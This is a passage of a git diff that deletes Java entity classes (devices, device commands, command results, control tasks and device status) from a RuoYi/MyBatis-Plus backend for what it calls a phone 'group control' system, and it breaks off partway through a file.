com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 指令执行结果(客户端回传)对象 ec_command_result - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_command_result") -public class EcCommandResultPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 命令ID */ - @Excel(name = "命令ID") - private Long commandId; - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - /** 返回结果 */ - @Excel(name = "返回结果") - private Integer result; - /** 错误信息 */ - @Excel(name = "错误信息") - private String errorMsg; - /** 返回信息 */ - @Excel(name = "返回信息") - private String responseData; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCommandId(Long commandId) - { - this.commandId = commandId; - } - - public Long getCommandId() - { - return commandId; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setResult(Integer result) - { - this.result = result; - } - - public Integer getResult() - { - return result; - } - public void setErrorMsg(String errorMsg) - { - this.errorMsg = errorMsg; - } - - public String getErrorMsg() - { - return errorMsg; - } - public void setResponseData(String responseData) - { - this.responseData = responseData; - } - - public String getResponseData() - { - return responseData; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("commandId", getCommandId()) - .append("deviceId", getDeviceId()) - .append("result", getResult()) - .append("errorMsg", getErrorMsg()) - .append("responseData", getResponseData()) - .append("createdAt", getCreatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTask.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTask.java deleted file mode 100644 index 2c0d534..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTask.java +++ /dev/null @@ -1,143 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 任务(群控核心)对象 ec_control_task - * - * @author luqj - * @date 2026-02-27 - */ -public class EcControlTask extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 任务名称 */ - @Excel(name = "任务名称") - private String taskName; - - /** 任务类型 */ - @Excel(name = "任务类型") - private Integer taskType; - - /** 用户ID */ - @Excel(name = "用户ID") - private Long userId; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - - /** 更新时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "更新时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - - /** 应用ID */ - @Excel(name = "应用ID") - private Long appId; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskName(String taskName) - { - this.taskName = taskName; - } - - public String getTaskName() - { - return taskName; - } - public void setTaskType(Integer taskType) - { - this.taskType = taskType; - } - - public Integer getTaskType() - { - return taskType; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - public void setAppId(Long appId) - { - this.appId = appId; - } - - public Long getAppId() - { - return appId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskName", getTaskName()) - .append("taskType", getTaskType()) - .append("userId", getUserId()) - .append("status", getStatus()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .append("appId", getAppId()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTaskPlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTaskPlus.java deleted file mode 100644 index 0f746ed..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcControlTaskPlus.java +++ /dev/null @@ -1,138 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 任务(群控核心)对象 ec_control_task - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_control_task") -public class EcControlTaskPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 任务名称 */ - @Excel(name = "任务名称") - private String taskName; - /** 任务类型 */ - @Excel(name = "任务类型") - private Integer taskType; - /** 用户ID */ - @Excel(name = "用户ID") - private Long userId; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - /** 更新时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "更新时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - /** 应用ID */ - @Excel(name = "应用ID") - private Long appId; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskName(String taskName) - { - this.taskName = taskName; - } - - public String getTaskName() - { - return taskName; - } - public void setTaskType(Integer taskType) - { - this.taskType = taskType; - } - - public Integer getTaskType() - { - return taskType; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - public void setAppId(Long appId) - { - this.appId = appId; - } - - public Long getAppId() - { - return appId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskName", getTaskName()) - .append("taskType", getTaskType()) - .append("userId", getUserId()) - .append("status", getStatus()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .append("appId", getAppId()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevice.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevice.java deleted file mode 100644 index 7ffe2d6..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevice.java +++ /dev/null @@ -1,296 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 设备(手机设备)对象 ec_device - * - * @author luqj - * @date 2026-02-27 - */ -public class EcDevice extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 设备唯一标识 */ - @Excel(name = "设备唯一标识") - private String deviceCode; - - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - - /** 模型 */ - @Excel(name = "模型") - private String model; - - /** 系统类型 */ - @Excel(name = "系统类型") - private String osType; - - /** 系统版本 */ - @Excel(name = "系统版本") - private String osVersion; - - /** 版本 */ - @Excel(name = "版本") - private String appVersion; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 最后在线时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "最后在线时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date lastOnlineTime; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - - /** 更新时间 */ - private Date updatedAt; - - /** ip地址 */ - @Excel(name = "ip地址") - private String ipAddress; - - /** 最后截图 */ - @Excel(name = "最后截图") - private String lastScreenPic; - - /** 宽度 */ - @Excel(name = "宽度") - private Integer widthNum; - - /** 高度 */ - @Excel(name = "高度") - private Integer heightNum; - - /** 控制类型 */ - @Excel(name = "控制类型") - private Integer controlType; - - /** 应用ID */ - @Excel(name = "应用ID") - private Long appId; - - /** 用户ID */ - @Excel(name = "用户ID") - private Long userId; - - /** 密钥 */ - @Excel(name = "密钥") - private String secretKey; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceCode(String deviceCode) - { - this.deviceCode = deviceCode; - } - - public String getDeviceCode() - { - return deviceCode; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setModel(String model) - { - this.model = model; - } - - public String getModel() - { - return model; - } - public void setOsType(String osType) - { - this.osType = osType; - } - - public String getOsType() - { - return osType; - } - public void setOsVersion(String osVersion) - { - this.osVersion = osVersion; - } - - public String getOsVersion() - { - return osVersion; - } - public void setAppVersion(String appVersion) - { - this.appVersion = appVersion; - } - - public String getAppVersion() - { - return appVersion; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setLastOnlineTime(Date lastOnlineTime) - { - this.lastOnlineTime = lastOnlineTime; - } - - public Date getLastOnlineTime() - { - return lastOnlineTime; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - public void setIpAddress(String ipAddress) - { - this.ipAddress = ipAddress; - } - - public String getIpAddress() - { - return ipAddress; - } - public void setLastScreenPic(String lastScreenPic) - { - this.lastScreenPic = lastScreenPic; - } - - public String getLastScreenPic() - { - return lastScreenPic; - } - public void setWidthNum(Integer widthNum) - { - this.widthNum = widthNum; - } - - public Integer getWidthNum() - { - return widthNum; - } - public void setHeightNum(Integer heightNum) - { - this.heightNum = heightNum; - } - - public Integer getHeightNum() - { - return heightNum; - } - public void setControlType(Integer controlType) - { - this.controlType = controlType; - } - - public Integer getControlType() - { - return controlType; - } - public void setAppId(Long appId) - { - this.appId = appId; - } - - public Long getAppId() - { - return appId; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setSecretKey(String secretKey) - { - this.secretKey = secretKey; - } - - public String getSecretKey() - { - return secretKey; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceCode", getDeviceCode()) - .append("brand", getBrand()) - .append("model", getModel()) - .append("osType", getOsType()) - .append("osVersion", getOsVersion()) - .append("appVersion", getAppVersion()) - .append("status", getStatus()) - .append("lastOnlineTime", getLastOnlineTime()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .append("ipAddress", getIpAddress()) - .append("lastScreenPic", getLastScreenPic()) - .append("widthNum", getWidthNum()) - .append("heightNum", getHeightNum()) - .append("controlType", getControlType()) - .append("appId", getAppId()) - .append("userId", getUserId()) - .append("secretKey", getSecretKey()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommand.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommand.java deleted file mode 100644 index a9c9eec..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommand.java +++ /dev/null @@ -1,144 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 控制指令(单条指令)对象 ec_device_command - * - * @author luqj - * @date 2026-02-27 - */ -public class EcDeviceCommand extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - - /** 命令类型 */ - @Excel(name = "命令类型") - private String commandType; - - /** 指令参数 */ - @Excel(name = "指令参数") - private String commandContent; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 发送时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "发送时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date sendTime; - - /** 执行时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "执行时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date executeTime; - - /** 完成时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "完成时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date finishTime; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setCommandType(String commandType) - { - this.commandType = commandType; - } - - public String getCommandType() - { - return commandType; - } - public void setCommandContent(String commandContent) - { - this.commandContent = commandContent; - } - - public String getCommandContent() - { - return commandContent; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setSendTime(Date sendTime) - { - this.sendTime = sendTime; - } - - public Date getSendTime() - { - return sendTime; - } - public void setExecuteTime(Date executeTime) - { - this.executeTime = executeTime; - } - - public Date getExecuteTime() - { - return executeTime; - } - public void setFinishTime(Date finishTime) - { - this.finishTime = finishTime; - } - - public Date getFinishTime() - { - return finishTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceId", getDeviceId()) - .append("commandType", getCommandType()) - .append("commandContent", getCommandContent()) - .append("status", getStatus()) - .append("sendTime", getSendTime()) - .append("executeTime", getExecuteTime()) - .append("finishTime", getFinishTime()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommandPlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommandPlus.java deleted file mode 100644 index 63636c5..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceCommandPlus.java +++ /dev/null @@ -1,139 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 控制指令(单条指令)对象 ec_device_command - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_device_command") -public class EcDeviceCommandPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - /** 命令类型 */ - @Excel(name = "命令类型") - private String commandType; - /** 指令参数 */ - @Excel(name = "指令参数") - private String commandContent; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 发送时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "发送时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date sendTime; - /** 执行时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "执行时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date executeTime; - /** 完成时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "完成时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date finishTime; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setCommandType(String commandType) - { - this.commandType = commandType; - } - - public String getCommandType() - { - return commandType; - } - public void setCommandContent(String commandContent) - { - this.commandContent = commandContent; - } - - public String getCommandContent() - { - return commandContent; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setSendTime(Date sendTime) - { - this.sendTime = sendTime; - } - - public Date getSendTime() - { - return sendTime; - } - public void setExecuteTime(Date executeTime) - { - this.executeTime = executeTime; - } - - public Date getExecuteTime() - { - return executeTime; - } - public void setFinishTime(Date finishTime) - { - this.finishTime = finishTime; - } - - public Date getFinishTime() - { - return finishTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceId", getDeviceId()) - .append("commandType", getCommandType()) - .append("commandContent", getCommandContent()) - .append("status", getStatus()) - .append("sendTime", getSendTime()) - .append("executeTime", getExecuteTime()) - .append("finishTime", getFinishTime()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevicePlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevicePlus.java deleted file mode 100644 index 6545920..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDevicePlus.java +++ /dev/null @@ -1,280 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 设备(手机设备)对象 ec_device - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_device") -public class EcDevicePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 设备唯一标识 */ - @Excel(name = "设备唯一标识") - private String deviceCode; - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - /** 模型 */ - @Excel(name = "模型") - private String model; - /** 系统类型 */ - @Excel(name = "系统类型") - private String osType; - /** 系统版本 */ - @Excel(name = "系统版本") - private String osVersion; - /** 版本 */ - @Excel(name = "版本") - private String appVersion; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 最后在线时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "最后在线时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date lastOnlineTime; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - /** 更新时间 */ - private Date updatedAt; - /** ip地址 */ - @Excel(name = "ip地址") - private String ipAddress; - /** 最后截图 */ - @Excel(name = "最后截图") - private String lastScreenPic; - /** 宽度 */ - @Excel(name = "宽度") - private Integer widthNum; - /** 高度 */ - @Excel(name = "高度") - private Integer heightNum; - /** 控制类型 */ - @Excel(name = "控制类型") - private Integer controlType; - /** 应用ID */ - @Excel(name = "应用ID") - private Long appId; - /** 用户ID */ - @Excel(name = "用户ID") - private Long userId; - /** 密钥 */ - @Excel(name = "密钥") - private String secretKey; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceCode(String deviceCode) - { - this.deviceCode = deviceCode; - } - - public String getDeviceCode() - { - return deviceCode; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setModel(String model) - { - this.model = model; - } - - public String getModel() - { - return model; - } - public void setOsType(String osType) - { - this.osType = osType; - } - - public String getOsType() - { - return osType; - } - public void setOsVersion(String osVersion) - { - this.osVersion = osVersion; - } - - public String getOsVersion() - { - return osVersion; - } - public void setAppVersion(String appVersion) - { - this.appVersion = appVersion; - } - - public String getAppVersion() - { - return appVersion; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setLastOnlineTime(Date lastOnlineTime) - { - this.lastOnlineTime = lastOnlineTime; - } - - public Date getLastOnlineTime() - { - return lastOnlineTime; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - public void setIpAddress(String ipAddress) - { - this.ipAddress = ipAddress; - } - - public String getIpAddress() - { - return ipAddress; - } - public void setLastScreenPic(String lastScreenPic) - { - this.lastScreenPic = lastScreenPic; - } - - public String getLastScreenPic() - { - return lastScreenPic; - } - public void setWidthNum(Integer widthNum) - { - this.widthNum = widthNum; - } - - public Integer getWidthNum() - { - return widthNum; - } - public void setHeightNum(Integer heightNum) - { - this.heightNum = heightNum; - } - - public Integer getHeightNum() - { - return heightNum; - } - public void setControlType(Integer controlType) - { - this.controlType = controlType; - } - - public Integer getControlType() - { - return controlType; - } - public void setAppId(Long appId) - { - this.appId = appId; - } - - public Long getAppId() - { - return appId; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setSecretKey(String secretKey) - { - this.secretKey = secretKey; - } - - public String getSecretKey() - { - return secretKey; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceCode", getDeviceCode()) - .append("brand", getBrand()) - .append("model", getModel()) - .append("osType", getOsType()) - .append("osVersion", getOsVersion()) - .append("appVersion", getAppVersion()) - .append("status", getStatus()) - .append("lastOnlineTime", getLastOnlineTime()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .append("ipAddress", getIpAddress()) - .append("lastScreenPic", getLastScreenPic()) - .append("widthNum", getWidthNum()) - .append("heightNum", getHeightNum()) - .append("controlType", getControlType()) - .append("appId", getAppId()) - .append("userId", getUserId()) - .append("secretKey", getSecretKey()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatus.java deleted file mode 100644 index 255352c..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatus.java +++ /dev/null @@ -1,158 +0,0 @@ -package com.luqj.ec.domain; - -import java.math.BigDecimal; -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 设备心跳 & 状态(高频)对象 ec_device_status - * - * @author luqj - * @date 2026-02-27 - */ -public class EcDeviceStatus extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - - /** 电量百分比 */ - @Excel(name = "电量百分比") - private Long battery; - - /** 网络类型 */ - @Excel(name = "网络类型") - private String networkType; - - /** cpu状态 */ - @Excel(name = "cpu状态") - private BigDecimal cpuUsage; - - /** 内存状态 */ - @Excel(name = "内存状态") - private BigDecimal memoryUsage; - - /** 屏幕状态 */ - @Excel(name = "屏幕状态") - private Integer screenOn; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setBattery(Long battery) - { - this.battery = battery; - } - - public Long getBattery() - { - return battery; - } - public void setNetworkType(String networkType) - { - this.networkType = networkType; - } - - public String getNetworkType() - { - return networkType; - } - public void setCpuUsage(BigDecimal cpuUsage) - { - this.cpuUsage = cpuUsage; - } - - public BigDecimal getCpuUsage() - { - return cpuUsage; - } - public void setMemoryUsage(BigDecimal memoryUsage) - { - this.memoryUsage = memoryUsage; - } - - public BigDecimal getMemoryUsage() - { - return memoryUsage; - } - public void setScreenOn(Integer screenOn) - { - this.screenOn = screenOn; - } - - public Integer getScreenOn() - { - return screenOn; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceId", getDeviceId()) - .append("battery", getBattery()) - .append("networkType", getNetworkType()) - .append("cpuUsage", getCpuUsage()) - .append("memoryUsage", getMemoryUsage()) - .append("screenOn", getScreenOn()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatusPlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatusPlus.java deleted file mode 100644 index ff402ed..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcDeviceStatusPlus.java +++ /dev/null @@ -1,152 +0,0 @@ -package com.luqj.ec.domain; - -import java.math.BigDecimal; -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 设备心跳 & 状态(高频)对象 ec_device_status - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_device_status") -public class EcDeviceStatusPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - /** 电量百分比 */ - @Excel(name = "电量百分比") - private Long battery; - /** 网络类型 */ - @Excel(name = "网络类型") - private String networkType; - /** cpu状态 */ - @Excel(name = "cpu状态") - private BigDecimal cpuUsage; - /** 内存状态 */ - @Excel(name = "内存状态") - private BigDecimal memoryUsage; - /** 屏幕状态 */ - @Excel(name = "屏幕状态") - private Integer screenOn; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setBattery(Long battery) - { - this.battery = battery; - } - - public Long getBattery() - { - return battery; - } - public void setNetworkType(String networkType) - { - this.networkType = networkType; - } - - public String getNetworkType() - { - return networkType; - } - public void setCpuUsage(BigDecimal cpuUsage) - { - this.cpuUsage = cpuUsage; - } - - public BigDecimal getCpuUsage() - { - return cpuUsage; - } - public void setMemoryUsage(BigDecimal memoryUsage) - { - this.memoryUsage = memoryUsage; - } - - public BigDecimal getMemoryUsage() - { - return memoryUsage; - } - public void setScreenOn(Integer screenOn) - { - this.screenOn = screenOn; - } - - public Integer 